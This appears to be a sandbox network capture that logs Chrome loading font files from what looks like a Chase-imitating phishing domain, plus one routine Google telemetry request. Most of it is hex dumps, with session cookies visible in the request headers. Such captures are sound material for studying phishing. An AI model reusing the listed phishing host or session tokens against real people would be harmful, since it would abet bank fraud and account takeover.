2024-12-20 00:17:11 UTC	16384	IN	Data Raw: ba 16 f1 11 f2 c4 8b f3 7d 31 59 4b aa 6a 29 0b 46 11 e4 de 30 49 52 c4 fb 66 a7 d3 9e fc ca 90 47 67 0a 13 c9 dd 18 04 7b e4 d1 60 b9 5a 7c 09 91 ad ed 64 91 40 e4 ca bd 4f e1 48 f7 7a b2 87 89 3f d1 e3 7c 7c 81 40 3f a5 6e df c9 6b 6a 0a cd 7a 04 8c 39 11 2e 71 59 29 7d 65 e6 e5 8c c4 a8 e1 8b 73 f8 53 57 7d 04 f4 26 8e fc 5b 58 79 6e c2 79 0f de 2b 0e 31 f5 26 99 6b e6 5f 93 2d c1 cc 30 8c b2 97 db 9f 61 55 26 be 92 70 7c bb 36 09 db 24 9a ab ba 56 38 0a 14 ff 00 74 91 54 90 ae 68 cf 75 14 ea 51 50 db c6 a7 80 bd 4f d6 a8 35 d5 c0 00 2b ab 00 78 3d ea 6b 5b 27 9e 64 8b cc c3 1e 8a bc d4 f2 5b bd bc a6 29 23 84 67 8d d2 0a 34 5a 06 a5 7b 34 12 cc 4c c5 54 37 52 fd 05 4c d7 3f 3b 22 0f 32 32 70 0e ed bf 95 5a 93 47 f3 21 59 20 b8 46 66 ce 16 3c 6d 5f c6 Data Ascii: }1YKj)F0IRfGg{`Z\|d@OHz?\|\|@?nkjz9.qY)}esSW}&[Xyny+1&k_-0aU&p\|6$V8tThuQPO5+x=k['d[)#g4Z{4LT7RL?;"22pZG!Y Ff<m_
2024-12-20 00:17:12 UTC	16384	IN	Data Raw: 24 83 3c a7 b5 4c d6 53 4d 6a 7e cf 3c 61 c7 21 90 63 06 b3 6d b5 1d 42 3b 8f 2e 54 8e 70 bd db 18 3f 8d 66 b5 d8 a6 69 69 37 5a 63 c8 4f 91 b1 cf 03 72 9c d4 f7 d7 fa 5c 00 c4 53 e6 f4 45 c9 a0 dc 41 75 66 5d a5 8e 09 87 d0 e2 b9 fb d8 2f 19 bc e3 33 ca b8 fb c8 e3 8f c0 50 92 6f 50 6d a5 a1 0d d5 d0 99 9f ca 96 4d 83 f8 4f 15 02 ce b2 10 b3 7c c0 74 05 79 a4 8d ee cb 04 5d d2 16 38 c6 dc 93 5d 4d 96 91 3c 10 ab 4b 1c 6a c7 aa 80 37 0f c6 b4 94 94 51 0a 2d 94 6d f5 1b 1d 3e 1c 24 65 24 e0 ed 65 e7 f3 35 7a d3 57 b4 b8 07 ed 13 2c 5b b8 01 58 92 7f 1e d5 9b 7e 96 df 6c fd e5 a7 0a 70 46 09 24 fd 69 22 8a e2 36 0d 69 64 63 62 38 22 3e 41 fc 6a 2c 9a 29 5c dd bc 8f 4c 16 cc b3 98 f6 3a f5 6e 5a b9 65 86 cd 24 64 ce e8 db ee 38 38 db f9 d6 c4 16 9a 95 c8 1f Data Ascii: $<LSMj~<a!cmB;.Tp?fii7ZcOr\SEAuf]/3PoPmMO\|ty]8]M<Kj7Q-m>$e$e5zW,[X~lpF$i"6idcb8">Aj,)\L:nZe$d88
2024-12-20 00:17:12 UTC	16384	IN	Data Raw: dd ef 8a 92 2b 28 23 60 d7 17 64 2f 7f 2f 93 55 ea 48 17 b6 53 b5 1c 38 3d 00 6e 7f 12 69 b7 93 2d ba 87 8e c8 33 e3 82 e3 3f ad 4d 1d b5 8c a3 31 89 08 66 e1 8a e4 01 ee 6b 53 ec 7a 55 8d ba 1d c6 53 27 f7 a4 c2 d3 6e dd 04 91 ca 47 2d d5 c4 85 d6 16 c9 39 21 57 20 55 a5 d3 66 e2 49 ac d8 03 ce 71 8a d6 b8 bb 26 1c 5a df 22 04 e8 a8 81 47 e0 6b 32 49 2e e4 c8 33 33 ee ea 4b e6 a9 5d 89 d8 8f c8 86 23 91 01 27 df 90 29 3e d5 71 b8 08 c1 1e 80 2d 58 8e da 4f e2 91 57 db 39 35 66 38 92 2c 12 93 ca c3 9c 01 81 f9 9a 2f 60 b1 96 2c ee 98 92 b0 49 83 ce 4f 19 a1 ad 24 ce d7 44 04 f6 c8 ad ab f4 8e e5 15 8b bc 44 70 23 c1 38 fc a9 d6 f6 10 69 a1 6e 6f 0c 60 30 f9 44 9f 78 fd 17 fc 69 73 0e c5 1b 6f 0d 5d 48 ca cf 24 48 a4 64 01 c9 ab 92 e8 6d 09 2b 6f 24 6a 50 Data Ascii: +(#`d//UHS8=ni-3?M1fkSzUS'nG-9!W UfIq&Z"Gk2I.33K]#')>q-XOW95f8,/`,IO$DDp#8ino`0Dxiso]H$Hdm+o$jP
2024-12-20 00:17:12 UTC	16384	IN	Data Raw: fc aa 7a 0f c2 b4 94 ac 42 46 27 f6 25 ba 33 6f 66 c0 1c 16 61 c9 fc 2a 58 74 bb 38 a3 17 13 45 ba 05 fb cd 9c 66 ab c5 73 ac 49 2b c2 2d 24 69 09 e4 6c c1 5a ba 2c 75 46 87 fd 36 57 88 11 d3 70 6f d2 93 7e 60 97 91 25 de a1 67 0c 49 1d b4 69 e5 8e 42 c7 80 0f d6 b3 46 a1 6a 26 26 4d 36 27 07 a1 2a 32 be fe f5 5d e1 86 da 50 c8 e5 d4 76 60 41 3f 5a b9 63 7d 33 4c ce 6c 7e d0 a0 00 09 18 0b ef cd 3b 2b 03 6c 95 77 de 4c ad 1e 0a 02 38 f2 f0 a2 b4 2e ec 18 05 dd 7e 09 6e 8a b1 8d aa 2a 0b bf 10 28 8c db db a8 b7 3d 0c 8e c3 f1 c0 15 9d 3e bb 0f 97 e5 44 8d 20 ee ce 7e f7 e1 45 a4 c2 e8 d2 fe c5 4b 7b 77 b9 91 bc e2 06 e5 8d 47 de 3d aa 09 d6 f0 c2 8f 69 6e b1 32 ae 5c c9 f2 f3 f8 d6 7a eb a1 72 cf 1c b3 31 e8 1a 4c 2a fe 02 ab cd ab 3d c0 2c e9 93 8c 01 9c Data Ascii: zBF'%3ofaXt8EfsI+-$ilZ,uF6Wpo~`%gIiBFj&&M6'2]Pv`A?Zc}3Ll~;+lwL8.~n(=>D ~EK{wG=in2\zr1L=,
2024-12-20 00:17:12 UTC	16384	IN	Data Raw: ad 77 6d 05 c5 97 96 9f bb 50 32 08 ae 72 6c dd cb e7 d9 c7 32 03 dc 67 93 53 da 58 5f 4b 36 d1 70 d9 c7 47 c8 c5 0d 2d ee 24 cb 36 1e 74 72 fc ee 62 84 1e ed c9 ad 06 ba 91 41 68 a0 fb 43 13 91 bc 85 0a 2a cc 1a 1d b2 c3 be ed 83 e0 ee eb 81 9f 5a cb bc d5 ad 63 99 d2 22 c4 2f 4c 2f 06 a7 59 31 b6 a2 49 79 7b 71 12 07 8a 38 d4 1e c4 13 cd 24 7a be f8 d7 cc b8 8e 37 f7 4d c2 b2 9b 59 9a 49 07 96 02 63 a8 23 20 d4 e9 6e fa 9b 61 13 6b 1e ea 38 ab e5 b2 d4 9b df 62 0b ad 42 79 27 f9 6e 18 00 7b 1f 94 d5 7f 36 5b 79 fc c4 93 76 4e 73 52 5e 69 e6 d8 96 86 5f 35 14 ed 6f 55 34 c8 ad 5a ea 32 d0 f2 cb d8 9a d1 35 6b 91 6d 4e 97 4c ba 92 6b 60 ec 3b e3 39 ce 6a ce e3 82 5b 20 8f 4a e7 f4 76 97 cd 6b 66 46 f9 b8 6e 39 5f 7a d5 3a 14 70 cd e6 c7 3c ca bd 4a b3 64 Data Ascii: wmP2rl2gSX_K6pG-$6trbAhC*Zc"/L/Y1Iy{q8$z7MYIc# nak8bBy'n{6[yvNsR^i_5oU4Z25kmNLk`;9j[ JvkfFn9_z:p<Jd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49877	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:10 UTC	897	OUT	GET /content/fonts/opensans-regular.woff HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://online.access.secure001.chase-business.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:11 UTC	251	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:11 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 31 Jan 2024 20:22:18 GMT ETag: "612c-61043a2a77280" Accept-Ranges: bytes Content-Length: 24876 Connection: close Content-Type: font/woff
2024-12-20 00:17:11 UTC	16384	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 61 2c 00 13 00 00 00 00 b1 3c 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 46 54 4d 00 00 01 a8 00 00 00 1c 00 00 00 1c 66 ed 72 e3 47 44 45 46 00 00 01 c4 00 00 00 1e 00 00 00 20 01 17 00 04 47 50 4f 53 00 00 01 e4 00 00 04 a2 00 00 09 98 2c 1a 16 58 47 53 55 42 00 00 06 88 00 00 00 81 00 00 00 a8 a0 5e 88 92 4f 53 2f 32 00 00 07 0c 00 00 00 60 00 00 00 60 a0 e5 99 86 63 6d 61 70 00 00 07 6c 00 00 01 86 00 00 01 da cf 40 58 a0 63 76 74 20 00 00 08 f4 00 00 00 46 00 00 00 46 13 5b 0d 37 66 70 67 6d 00 00 09 3c 00 00 01 b1 00 00 02 65 53 b4 2f a7 67 61 73 70 00 00 0a f0 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 0a f8 00 00 4c e5 00 00 91 ac e7 65 76 51 68 65 61 64 00 00 57 e0 00 00 00 Data Ascii: wOFFa,<FFTMfrGDEF GPOS,XGSUB^OS/2``cmapl@Xcvt FF[7fpgm<eS/gaspglyfLevQheadW
2024-12-20 00:17:11 UTC	8492	IN	Data Raw: 1b 60 e2 16 9b 09 71 b4 d0 96 59 53 aa 65 d6 89 55 95 38 08 22 d9 c1 6a a2 95 09 2c f5 5e d5 26 56 17 35 4c 03 24 dd 35 0b 0f 8e 80 0d cf b2 07 b9 63 2d 87 d8 bc 96 cf d9 81 2d f6 16 f9 73 12 22 87 ef 4a 75 d2 2a b0 b3 fb 94 fe 2e a7 da db 5c ca cc 51 2a 98 e3 85 3c 53 ca 97 a5 1a 5d b1 bb 9e c6 ca ba 66 76 c5 61 6d 6d 31 18 e2 65 98 21 00 fb 75 9f d3 53 50 58 14 c2 cd 54 2c 34 1a ac bc 9f ae 84 13 db 41 0a 8a 70 bc 80 64 28 44 bd aa b3 d3 96 68 e1 e7 5a a2 49 7b 3b be b3 2e 69 d2 d0 da c0 ef b8 6b ba c5 d1 d6 ec 57 fa c2 b8 1f 41 fe e1 3c 8b 6b 2f d6 c5 ec be 48 17 73 a3 d9 80 39 33 cc 94 79 da f5 33 a7 ab ff 33 3a 9b 5b 86 aa 8a 23 b5 30 29 8d d1 1e be 21 ff 2b 7c 1d 42 95 d4 20 99 50 fd 2e a9 3b 92 50 69 cb 52 4a 23 13 26 df c5 69 96 73 31 98 90 89 68 Data Ascii: `qYSeU8"j,^&V5L$5c--s"Ju.\Q<S]fvamm1e!uSPXT,4Apd(DhZI{;.ikWA<k/Hs93y33:[#0)!+\|B P.;PiRJ#&is1h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49878	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:10 UTC	894	OUT	GET /content/fonts/opensans-bold.woff HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://online.access.secure001.chase-business.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:11 UTC	251	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:11 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 31 Jan 2024 19:48:02 GMT ETag: "38a8-61043281b6080" Accept-Ranges: bytes Content-Length: 14504 Connection: close Content-Type: font/woff
2024-12-20 00:17:11 UTC	14504	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 38 a8 00 0f 00 00 00 00 62 e0 00 01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 44 45 46 00 00 01 58 00 00 00 16 00 00 00 16 00 10 00 d6 47 50 4f 53 00 00 01 70 00 00 00 0c 00 00 00 0c 00 15 00 0a 47 53 55 42 00 00 01 7c 00 00 00 0c 00 00 00 0c 00 15 00 0a 4f 53 2f 32 00 00 01 88 00 00 00 60 00 00 00 60 a2 75 a1 18 63 6d 61 70 00 00 01 e8 00 00 00 90 00 00 00 bc 8d c4 90 e3 67 61 73 70 00 00 02 78 00 00 00 0c 00 00 00 0c 00 08 00 1b 67 6c 79 66 00 00 02 84 00 00 23 d0 00 00 34 80 1e 04 33 39 68 65 61 64 00 00 26 54 00 00 00 36 00 00 00 36 fc ff ca b2 68 68 65 61 00 00 26 8c 00 00 00 1f 00 00 00 24 0e 29 07 81 68 6d 74 78 00 00 26 ac 00 00 01 fc 00 00 03 50 bd a9 4c 0b 6b 65 72 6e 00 00 28 a8 00 00 0a Data Ascii: wOFF8bGDEFXGPOSpGSUB\|OS/2``ucmapgaspxglyf#439head&T66hhea&$)hmtx&PLkern(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49880	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:12 UTC	1029	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 392 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/binary Content-Encoding: gzip X-Goog-AuthUser: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:17:12 UTC	392	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 0a cd 53 5b 6b c2 30 14 fe 2b 23 cf c5 b6 56 6b c7 d8 43 bd 30 0a 52 dd 70 0c d6 96 10 da 68 c3 da 64 24 a9 93 fd fa 9d 46 dd d0 07 75 db 8b 04 4e ce f9 ce fd 23 49 12 d7 e2 4d 55 5d 2c 92 8b 03 93 04 3d 08 b1 aa e8 cd a8 94 a2 a6 c8 42 ae 3b 40 99 95 a0 58 e8 bb f0 7e 28 09 2f 00 0d 0c 66 82 58 53 ef c3 32 cb b1 d0 0b e3 85 f8 50 2d e6 74 e0 80 b2 09 7c 90 db 28 80 fa b7 5e d0 71 bd 6e 5b a3 07 29 e6 64 90 dd 75 1c 1f 86 40 ee c0 eb f9 7d 2f e8 0e ba 7e 0f 9d 19 1a c1 d4 29 b2 f3 8a 51 ae b1 d2 92 92 fa d3 2e 24 5b 53 ac 4a 22 19 5f d9 ed 4d f1 36 c4 66 9c 69 5b 51 5e e0 56 c3 b9 a8 6b 58 ca ce 45 c3 75 ba eb 06 15 97 42 52 b6 e2 58 51 b9 66 39 05 4f 8a de 89 2e 8d a2 34 d1 8d 32 2a 53 78 c9 a4 82 42 a4 aa f6 c8 07 61 1a 1a 63 Data Ascii: S[k0+#VkC0Rphd$FuN#IMU],=B;@X~(/fXS2P-t\|(^qn[)du@}/~)Q.$[SJ"_M6fi[Q^VkXEuBRXQf9O.42*SxBac
2024-12-20 00:17:13 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:17:12 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 00:17:13 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-20 00:17:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49882	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:12 UTC	898	OUT	GET /content/fonts/opensans-semibold.woff HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://online.access.secure001.chase-business.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:13 UTC	251	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:13 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 31 Jan 2024 19:45:24 GMT ETag: "6214-610431eb07d00" Accept-Ranges: bytes Content-Length: 25108 Connection: close Content-Type: font/woff
2024-12-20 00:17:13 UTC	16384	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 62 14 00 13 00 00 00 00 b1 b8 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 46 54 4d 00 00 01 a8 00 00 00 1c 00 00 00 1c 6c 2f de 9c 47 44 45 46 00 00 01 c4 00 00 00 1d 00 00 00 1e 00 27 00 f0 47 50 4f 53 00 00 01 e4 00 00 04 a2 00 00 09 98 2c 1a 16 58 47 53 55 42 00 00 06 88 00 00 00 81 00 00 00 a8 a0 5e 88 92 4f 53 2f 32 00 00 07 0c 00 00 00 5e 00 00 00 60 a1 cc 92 6e 63 6d 61 70 00 00 07 6c 00 00 01 86 00 00 01 da cf 40 58 a0 63 76 74 20 00 00 08 f4 00 00 00 3a 00 00 00 3a 13 db 0d fe 66 70 67 6d 00 00 09 30 00 00 01 b1 00 00 02 65 53 b4 2f a7 67 61 73 70 00 00 0a e4 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 0a ec 00 00 4d e5 00 00 92 48 fa 69 f7 a3 68 65 61 64 00 00 58 d4 00 00 00 Data Ascii: wOFFbFFTMl/GDEF'GPOS,XGSUB^OS/2^`ncmapl@Xcvt ::fpgm0eS/gaspglyfMHiheadX
2024-12-20 00:17:13 UTC	8724	IN	Data Raw: c6 63 b0 04 fe b4 0a b6 f1 23 da fb ec c5 de 22 3b 9d ca 11 6f d3 20 0b b2 9d 74 ba ed 48 b9 53 c0 76 59 7b aa 5d d6 87 dd 3c b2 14 4b 75 cc 52 a7 d6 c2 53 17 57 6b 60 f5 53 f8 1d 26 e9 8e 59 f8 12 b0 43 8f e7 d7 8b d1 d6 b7 78 5f eb 31 be 4f cb 7e d5 bc 95 64 91 a7 e7 a5 ba 68 99 d6 e0 17 b2 3e 2e 9f d6 d3 dc 15 a7 be 60 57 73 32 24 72 d9 62 45 aa b1 19 44 50 c9 c5 3d a9 c8 ac 20 02 9d 91 2c 63 60 b6 1b 8e 45 71 e0 3c b8 22 3a d0 43 2e 93 36 59 dd 59 62 31 c3 2e b9 68 62 bb 62 f6 0e 7e 21 5c 86 71 66 2b ce 25 e0 4c 54 76 45 e9 d7 9b a2 49 07 b0 7f a6 36 69 f2 48 5b 37 e0 4c 6d d3 ad 7d da b9 07 ac 17 4c 68 01 7d 69 e3 fc dc e8 b3 75 33 67 9d ad 9b 99 16 68 e8 2d 8b ed fa 9a d3 65 f9 19 1d ce ad a5 ba bd 49 ed 52 ca ce 74 58 df b0 ff 8b f5 75 58 95 6e 74 Data Ascii: c#";o tHSvY{]<KuRSWk`S&YCx_1O~dh>.`Ws2$rbEDP= ,c`Eq<":C.6YYb1.hbb~!\qf+%LTvEI6iH[7Lm}Lh}iu3gh-eIRtXuXnt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49881	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:12 UTC	871	OUT	GET /content/fonts/dcefont.woff HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://online.access.secure001.chase-business.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://online.access.secure001.chase-business.com/content/css/blue-ui.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:13 UTC	252	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:13 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 31 Jan 2024 20:19:50 GMT ETag: "11298-6104399d52580" Accept-Ranges: bytes Content-Length: 70296 Connection: close Content-Type: font/woff
2024-12-20 00:17:13 UTC	16384	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 01 12 98 00 0b 00 00 00 01 12 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4f 53 2f 32 00 00 01 08 00 00 00 60 00 00 00 60 17 12 0e 60 63 6d 61 70 00 00 01 68 00 00 01 cc 00 00 01 cc 9c fb cb a8 67 61 73 70 00 00 03 34 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 03 3c 00 01 07 d8 00 01 07 d8 6b f2 e6 c6 68 65 61 64 00 01 0b 14 00 00 00 36 00 00 00 36 25 93 c6 61 68 68 65 61 00 01 0b 4c 00 00 00 24 00 00 00 24 17 d5 14 d2 68 6d 74 78 00 01 0b 70 00 00 03 94 00 00 03 94 9f 3b 38 1c 6c 6f 63 61 00 01 0f 04 00 00 01 cc 00 00 01 cc 07 b9 49 4c 6d 61 78 70 00 01 10 d0 00 00 00 20 00 00 00 20 00 f7 02 41 6e 61 6d 65 00 01 10 f0 00 00 01 86 00 00 01 86 99 4a 09 fb 70 6f 73 74 00 01 12 78 00 00 00 Data Ascii: wOFFLOS/2```cmaphgasp4glyf<khead66%ahheaL$$hmtxp;8locaILmaxp AnameJpostx
2024-12-20 00:17:13 UTC	16384	IN	Data Raw: 14 30 fe 20 01 e0 f5 14 1c 1c 14 14 1c 1c 14 a2 01 44 0e 14 14 0e fe bc 0e 14 14 0e 22 01 00 ff 00 a9 0b 1c 08 08 03 0b 0b 18 0c 13 0e 0e 14 09 10 07 13 0e 07 08 2d 20 0e 0f 02 01 06 02 0a 21 11 0b 1b 09 08 03 0c 0b 17 0c 14 0e 0e 13 09 10 07 13 0e 07 07 2e 20 0e 0f 01 02 06 02 0a 22 10 03 93 14 0e fc 9e 0e 14 14 0e 03 62 0e 14 fc 9d 03 20 fc e0 93 1c 14 14 1c 1c 14 14 1c 27 14 0e 01 ff 0e 14 14 0e fe 01 0e 14 02 00 fe 44 01 15 08 03 0c 0b 1b 09 08 0c 03 07 0e 13 13 0e 06 03 0a 06 11 2c 16 1a 22 05 02 0a 05 04 08 02 09 05 0d 08 03 0b 0c 1b 09 08 0c 03 07 0e 13 13 0e 07 03 09 06 11 2c 17 19 22 05 02 0a 05 04 08 02 09 05 0d 00 00 00 05 00 01 00 99 04 00 02 ec 00 0b 00 17 00 3e 00 45 00 52 00 00 01 32 36 35 34 26 23 22 06 15 14 16 37 32 16 15 14 06 23 22 26 Data Ascii: 0 D"- !. "b 'D,",">ER2654&#"72#"&
2024-12-20 00:17:13 UTC	16384	IN	Data Raw: 36 33 32 17 1e 01 17 16 17 1c 01 15 14 06 23 25 21 26 27 2e 01 27 26 23 22 07 0e 01 07 06 07 02 00 31 2b 2b 40 13 12 12 13 40 2b 2b 31 30 2c 2b 40 12 13 13 12 40 2b 2c 30 2a 25 25 37 0f 10 10 0f 37 25 25 2a 29 25 25 37 10 10 10 10 37 25 25 01 2c fd 56 03 07 02 03 02 02 0e 0e 4c 45 46 71 70 45 45 4d 0e 0e 03 0a 07 fd 67 02 87 03 0d 0d 46 3e 3e 64 65 3e 3e 45 0e 0d 03 01 c2 13 13 40 2b 2c 31 31 2b 2c 40 13 13 13 13 40 2c 2b 31 31 2c 2b 41 12 13 01 b9 10 10 37 25 25 2a 2a 25 25 38 10 10 10 10 38 25 25 2a 2a 25 25 37 10 10 fc 68 02 03 02 06 04 6b 4c 4c 62 17 17 17 17 60 4c 4b 6a 01 02 01 07 0b 23 64 44 43 52 12 11 11 12 52 43 44 64 00 01 00 1c ff f7 03 e4 03 8c 00 2b 00 00 01 03 2e 01 23 22 06 07 03 05 0e 01 07 06 16 1f 01 03 06 16 17 1e 01 37 25 05 16 32 37 Data Ascii: 632#%!&'.'&#"1++@@++10,+@@+,0%%77%%)%%77%%,VLEFqpEEMgF>>de>>E@+,11+,@@,+11,+A7%%%%88%%%%7hkLLb`LKj#dDCRRCDd+.#"7%27
